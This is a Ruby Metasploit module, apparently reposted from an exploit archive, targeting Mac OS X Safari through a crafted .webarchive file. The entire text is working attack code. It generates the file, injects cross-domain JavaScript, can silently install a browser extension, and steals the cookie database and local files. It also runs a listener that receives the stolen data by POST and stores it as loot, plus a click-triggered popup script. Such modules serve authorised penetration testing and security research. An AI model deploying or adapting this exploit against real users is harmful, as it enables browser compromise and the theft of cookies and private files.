Share
## https://sploitus.com/exploit?id=PACKETSTORM:180594
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'uri'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Format::Webarchive  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mac OS X Safari .webarchive File Format UXSS',  
'Description' => %q{  
Generates a .webarchive file for Mac OS X Safari that will attempt to  
inject cross-domain Javascript (UXSS), silently install a browser  
extension, collect user information, steal the cookie database,  
and steal arbitrary local files.  
  
When opened on the target machine the webarchive file must not have the  
quarantine attribute set, as this forces the webarchive to execute in a  
sandbox.  
},  
'License' => MSF_LICENSE,  
'Author' => 'joev',  
'References' =>  
[  
['URL', 'https://www.rapid7.com/blog/post/2013/04/25/abusing-safaris-webarchive-file-format/']  
],  
'DisclosureDate' => '2013-02-22',  
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],  
'PassiveActions' => [ 'WebServer' ],  
'DefaultAction' => 'WebServer'))  
end  
  
def run  
if datastore["URIPATH"].blank?  
datastore["URIPATH"] = "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)  
end  
  
print_status("Creating '#{datastore['FILENAME']}' file...")  
file_create(webarchive_xml)  
exploit  
end  
  
def on_request_uri(cli, request)  
if request.method =~ /post/i  
data_str = request.body.to_s  
begin  
data = JSON::parse(data_str || '')  
file = record_data(data, cli)  
send_response_html(cli, '')  
print_good "#{data_str.length} chars received and stored to #{file}"  
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up  
file = record_data(data_str, cli)  
print_error "Invalid JSON stored in #{file}"  
send_response_html(cli, '')  
end  
else  
send_response(cli, webarchive_xml, {  
'Content-Type' => 'application/x-webarchive',  
'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\""  
})  
end  
end  
  
# @param [Hash] data the data to store in the log  
# @return [String] filename where we are storing the data  
def record_data(data, cli)  
if data.is_a? Hash  
file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'')  
end  
store_loot(  
file || "data", "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data"  
)  
end  
  
# @return [String] formatted http/https URL of the listener  
def backend_url  
proto = (datastore["SSL"] ? "https" : "http")  
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']  
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"  
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"  
end  
  
def message  
super + (datastore['INSTALL_EXTENSION'] ? " <a href='javascript:void(0)'>Click here to continue.</a>" + popup_js : '')  
end  
  
def popup_js  
wrap_with_script do  
%Q|  
window.onclick = function() {  
window.open('data:text/html,<script>opener.postMessage("EXT", "*");window.location="#{apple_extension_url}";<\\/script>');  
};  
|  
end  
end  
  
  
end